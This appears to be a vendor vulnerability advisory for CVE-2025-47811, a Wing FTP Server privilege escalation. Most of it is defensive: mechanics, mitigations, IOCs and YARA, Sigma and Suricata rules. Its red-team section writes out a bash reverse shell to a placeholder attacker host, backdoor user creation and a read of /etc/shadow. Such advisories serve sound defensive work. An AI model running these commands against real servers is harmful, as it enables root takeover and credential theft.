CVE-2025-47811
Executive Summary
CVE-2025-47811 identifies a privilege escalation vulnerability in Wing FTP Server versions up to and including 7.4.4. The administrative web interface, which by default listens on port 5466 and runs with root or SYSTEM privileges, provides legitimate functionality (web console and task scheduler) to execute arbitrary system commands. These commands are automatically executed in the highest possible privilege context. The core issue is that administrative users of the web interface are not necessarily system administrators, allowing a lower-privileged admin to escalate to root or SYSTEM. The vendor has reportedly acknowledged this behavior and considers it acceptable, meaning no official patch is expected. This vulnerability is chained with CVE-2025-47812 for initial access if the attacker lacks a privileged application role.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a standalone server application (Wing FTP Server) and does not involve supply chain dependencies.
CVSS Breakdown & Threat Level
- CVSS Score: 4.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L
- Attack Vector: Network (AV:N) – The vulnerability is exploitable over the network via the web interface.
- Attack Complexity: Low (AC:L) – No special conditions are required; the web interface is accessible.
- Privileges Required: High (PR:H) – An attacker must already have administrative access to the web interface.
- User Interaction: None (UI:N) – No user interaction is required beyond the attacker's own actions.
- Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
- Confidentiality Impact: Low (C:L) – Limited information disclosure possible.
- Integrity Impact: Low (I:L) – Limited modification of system data possible.
- Availability Impact: Low (A:L) – Limited disruption of service possible.
- Threat Level: Medium. The vulnerability requires prior administrative access to the web interface, but the privilege escalation to root/SYSTEM is significant. The lack of a patch and vendor acceptance increases the risk for unhardened deployments.
Deep Dive & Mechanics
The vulnerability stems from the design of Wing FTP Server's administrative web interface. By default, the web server process runs with root (on Unix-like systems) or SYSTEM (on Windows) privileges. The web application exposes two primary features for executing system commands:
- Web Console: A built-in terminal emulator accessible via the web interface, intended for system administration tasks.
- Task Scheduler: A feature that allows scheduling of arbitrary commands or scripts to run at specified times.
Both features execute commands with the privileges of the web server process (root/SYSTEM). The intended design is that only system administrators (users with OS-level admin rights) should have access to these features. However, the web interface's administrative roles are separate from OS-level privileges. A user granted the "admin" role in the web interface (e.g., for managing FTP users and settings) can access the web console and task scheduler, even if they do not have root/SYSTEM access on the underlying operating system.
Attack Flow:
- An attacker gains administrative access to the Wing FTP Server web interface (e.g., via weak credentials, default passwords, or chaining with CVE-2025-47812).
- The attacker navigates to the web console or task scheduler.
- The attacker executes arbitrary system commands (e.g.,
whoami,id,cat /etc/shadow,useradd,chmod). - The commands are executed with root/SYSTEM privileges, granting the attacker full control over the server.
Root Cause: Improper privilege separation between the web application's administrative roles and the underlying OS privileges. The web server should run with minimal necessary privileges, and the command execution features should enforce additional authentication or authorization checks.
Vulnerable vs. Patched Code
Since no patch is available, there is no patched code to compare. The vulnerable code is the entire administrative web interface implementation that runs as root/SYSTEM and exposes command execution features without privilege separation.
Vulnerable Code (Conceptual):
# Example of vulnerable design (pseudocode)
import subprocess
from flask import Flask, request
app = Flask(__name__)
@app.route('/console', methods=['POST'])
def web_console():
command = request.form['command']
# Executes command with the privileges of the web server (root/SYSTEM)
result = subprocess.check_output(command, shell=True)
return result
Patched Code (Hypothetical):
# Example of patched design (pseudocode)
import subprocess
from flask import Flask, request, abort
import os
app = Flask(__name__)
@app.route('/console', methods=['POST'])
def web_console():
# Check if the user is a system administrator (e.g., via group membership)
if not is_system_admin(request.user):
abort(403)
command = request.form['command']
# Drop privileges to a non-root user before execution
os.setuid(1000) # Switch to a low-privilege user
result = subprocess.check_output(command, shell=True)
return result
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a Wing FTP Server instance (version <= 7.4.4) with the web interface enabled on port 5466.
- Administrative credentials for the web interface (e.g., username:
admin, password:admin).
Exploitation Steps:
Access the Web Interface:
https://target:5466/Log in with administrative credentials.
Navigate to the Web Console:
- Typically located under "Utilities" or "System" menu.
Execute Privilege Escalation Commands:
# Verify current user whoami # Output: root (or SYSTEM) # Create a new user with root privileges useradd -m -G sudo attacker passwd attackerAlternative via Task Scheduler:
- Create a new task with a command to add a user or execute a reverse shell.
# Example reverse shell (Linux) bash -i >& /dev/tcp/attacker_ip/4444 0>&1
Chaining with CVE-2025-47812: If the attacker does not have administrative access to the web interface, CVE-2025-47812 (if applicable) can be used to gain that access first.
Blue Team
Detection and Prevention:
Network Segmentation:
- Restrict access to port 5466 to trusted administrative networks only (e.g., VPN, internal management VLAN).
- Use firewall rules to block external access to the web interface.
Authentication Hardening:
- Enforce strong, unique passwords for all web interface accounts.
- Implement multi-factor authentication (MFA) if supported.
Privilege Separation:
- Run the Wing FTP Server service with a dedicated, low-privilege service account instead of root/SYSTEM.
- If possible, disable the web console and task scheduler features, or restrict them to specific IP addresses.
Monitoring:
- Monitor logs for unusual command execution via the web interface.
- Alert on commands like
useradd,passwd,chmod,wget,curl, or reverse shell patterns.
Patching:
- Since no patch is available, consider migrating to an alternative FTP server solution that properly separates privileges.
Indicators of Compromise (IOCs)
Network IOCs:
- Connections to port 5466 from unexpected IP addresses.
- HTTP POST requests to
/consoleor/schedulerendpoints with command parameters. - Outbound connections from the server to attacker-controlled IPs on common reverse shell ports (4444, 5555, etc.).
System IOCs:
- New user accounts created with administrative privileges (e.g.,
attacker,backdoor). - Unusual processes spawned by the Wing FTP Server process (e.g.,
bash,cmd.exe,python). - Modified system files (e.g.,
/etc/passwd,/etc/shadow,/etc/sudoers). - Scheduled tasks or cron jobs added by the Wing FTP Server process.
- New user accounts created with administrative privileges (e.g.,
Log IOCs:
- Wing FTP Server logs showing command execution via web console or task scheduler.
- System logs (e.g.,
/var/log/auth.log,/var/log/secure) showing privilege escalation attempts.
Detection Engineering
YARA Rule
rule CVE_2025_47811_Wing_FTP_PrivEsc {
meta:
description = "Detects Wing FTP Server web interface command execution patterns"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-47811"
strings:
$console_path = "/console" ascii wide nocase
$scheduler_path = "/scheduler" ascii wide nocase
$cmd_param = "command=" ascii wide nocase
$task_param = "task=" ascii wide nocase
$shell_cmd = "bash" ascii wide nocase
$shell_cmd2 = "cmd.exe" ascii wide nocase
condition:
any of ($console_path, $scheduler_path) and any of ($cmd_param, $task_param) and any of ($shell_cmd, $shell_cmd2)
}
Sigma Rule
title: Wing FTP Server Privilege Escalation via Web Interface
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects command execution via Wing FTP Server web console or task scheduler
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-47811
logsource:
category: webserver
product: wing_ftp
detection:
selection:
cs-method: 'POST'
cs-uri-stem:
- '/console'
- '/scheduler'
cs-uri-query|contains:
- 'command='
- 'task='
condition: selection
falsepositives:
- Legitimate administrative use
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-47811 Wing FTP Server Privilege Escalation Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/console"; http_uri; content:"command="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Restrict Network Access: Use firewall rules to limit access to port 5466 to only trusted administrative IP addresses.
- Change Default Credentials: Ensure all web interface accounts have strong, unique passwords.
- Disable Unnecessary Features: If the web console and task scheduler are not required, disable them in the configuration.
- Run Service with Least Privilege: Configure the Wing FTP Server service to run as a dedicated, low-privilege user instead of root/SYSTEM.
Long-Term Actions:
- Vendor Engagement: Contact Wing FTP Server vendor to request a security update that implements proper privilege separation.
- Migration: If the vendor does not provide a patch, consider migrating to an alternative FTP server solution that follows security best practices (e.g., vsftpd, ProFTPD with proper configuration).
- Monitoring: Implement continuous monitoring for the IOCs and detection rules provided above.
Workaround:
- If the web interface is essential, deploy a reverse proxy (e.g., Nginx, Apache) in front of port 5466 to add an additional authentication layer and restrict access to specific IP ranges.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.